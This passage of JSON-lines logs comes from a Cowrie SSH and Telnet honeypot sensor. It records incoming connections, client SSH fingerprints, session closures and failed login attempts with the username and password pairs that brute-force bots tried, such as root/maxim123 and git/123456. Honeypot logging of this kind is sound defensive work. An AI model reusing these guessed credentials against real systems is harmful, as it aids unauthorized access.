a2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:41.349483Z","src_ip":"103.173.227.57","session":"a04490f0b4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58724,"dst_ip":"159.203.135.109","dst_port":22,"session":"c587917da69c","protocol":"ssh","message":"New connection: 31.40.204.166:58724 (159.203.135.109:22) [session: c587917da69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:41.885650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:41.895436Z","src_ip":"31.40.204.166","session":"c587917da69c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:42.010509Z","src_ip":"31.40.204.166","session":"c587917da69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxim123","message":"login attempt [root/maxim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:42.079485Z","src_ip":"103.173.227.57","session":"a04490f0b4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:42.608740Z","src_ip":"31.40.204.166","session":"c587917da69c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:43.324334Z","src_ip":"103.173.227.57","session":"a04490f0b4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:43.785790Z","src_ip":"31.40.204.166","session":"c587917da69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46014,"dst_ip":"10.17.0.5","dst_port":23,"session":"354806b6b959","protocol":"telnet","message":"New connection: 152.42.224.71:46014 (10.17.0.5:23) [session: 354806b6b959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:45.489878Z"}
{"eventid":"cowrie.session.closed","duration":96.64874291419983,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:46.176702Z","src_ip":"152.42.224.71","session":"c94d29c84535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37460,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1f13c63a31","protocol":"ssh","message":"New connection: 103.153.68.219:37460 (159.203.135.109:22) [session: 3e1f13c63a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:46.502179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:46.506860Z","src_ip":"103.153.68.219","session":"3e1f13c63a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:46.754948Z","src_ip":"103.153.68.219","session":"3e1f13c63a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47428,"dst_ip":"10.17.0.5","dst_port":23,"session":"562b69900db0","protocol":"telnet","message":"New connection: 152.42.224.71:47428 (10.17.0.5:23) [session: 562b69900db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:47.397849Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"242424","message":"login attempt [root/242424] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:47.503399Z","src_ip":"103.153.68.219","session":"3e1f13c63a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.07003903388977,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:48.635945Z","src_ip":"152.42.224.71","session":"1f9199695800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:48.754993Z","src_ip":"103.153.68.219","session":"3e1f13c63a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4880868d512","protocol":"telnet","message":"New connection: 152.42.224.71:47450 (10.17.0.5:23) [session: d4880868d512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:52.198424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47438,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20e2f4fc62d","protocol":"telnet","message":"New connection: 152.42.224.71:47438 (10.17.0.5:23) [session: c20e2f4fc62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:52.659129Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49334,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f46959cf1a","protocol":"ssh","message":"New connection: 103.183.114.55:49334 (159.203.135.109:22) [session: 15f46959cf1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:53.175575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:53.180382Z","src_ip":"103.183.114.55","session":"15f46959cf1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:53.404497Z","src_ip":"103.183.114.55","session":"15f46959cf1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35482,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f076804ea94","protocol":"ssh","message":"New connection: 31.40.204.166:35482 (159.203.135.109:22) [session: 7f076804ea94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:54.016119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:54.022178Z","src_ip":"31.40.204.166","session":"7f076804ea94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hardcore","message":"login attempt [root/hardcore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:54.090666Z","src_ip":"103.183.114.55","session":"15f46959cf1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:54.182909Z","src_ip":"31.40.204.166","session":"7f076804ea94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47466,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f3849ad2460","protocol":"telnet","message":"New connection: 152.42.224.71:47466 (10.17.0.5:23) [session: 0f3849ad2460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:54.270621Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:54.613751Z","src_ip":"31.40.204.166","session":"7f076804ea94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:55.317474Z","src_ip":"103.183.114.55","session":"15f46959cf1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:55.790339Z","src_ip":"31.40.204.166","session":"7f076804ea94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51540,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b880885e0a","protocol":"telnet","message":"New connection: 152.42.224.71:51540 (10.17.0.5:23) [session: 54b880885e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:57.441289Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb5885ed4a7f","protocol":"telnet","message":"New connection: 152.42.224.71:51542 (10.17.0.5:23) [session: bb5885ed4a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:02.224788Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51548,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb08bdec1633","protocol":"telnet","message":"New connection: 152.42.224.71:51548 (10.17.0.5:23) [session: fb08bdec1633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:05.282676Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35754,"dst_ip":"159.203.135.109","dst_port":22,"session":"71b8cdbaa207","protocol":"ssh","message":"New connection: 31.40.204.166:35754 (159.203.135.109:22) [session: 71b8cdbaa207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:05.683158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:05.687105Z","src_ip":"31.40.204.166","session":"71b8cdbaa207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:05.807158Z","src_ip":"31.40.204.166","session":"71b8cdbaa207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.041100025177,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:05.970201Z","src_ip":"152.42.224.71","session":"c321ae7d23b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:06.411028Z","src_ip":"31.40.204.166","session":"71b8cdbaa207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:07.593217Z","src_ip":"31.40.204.166","session":"71b8cdbaa207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":54258,"dst_ip":"10.17.0.5","dst_port":22,"session":"d79b346c9f20","protocol":"ssh","message":"New connection: 147.45.211.215:54258 (10.17.0.5:22) [session: d79b346c9f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:12.242096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:12.247124Z","src_ip":"147.45.211.215","session":"d79b346c9f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:12.419330Z","src_ip":"147.45.211.215","session":"d79b346c9f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54880,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d367972a309","protocol":"telnet","message":"New connection: 152.42.224.71:54880 (10.17.0.5:23) [session: 0d367972a309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:12.776810Z"}
{"eventid":"cowrie.session.closed","duration":120.00156593322754,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:12.862240Z","src_ip":"152.42.224.71","session":"a1c83335afcd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888888","message":"login attempt [root/8888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:12.950314Z","src_ip":"147.45.211.215","session":"d79b346c9f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:14.123425Z","src_ip":"147.45.211.215","session":"d79b346c9f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39068,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb5788162e8b","protocol":"ssh","message":"New connection: 31.40.204.166:39068 (159.203.135.109:22) [session: eb5788162e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:17.915227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:17.932720Z","src_ip":"31.40.204.166","session":"eb5788162e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-s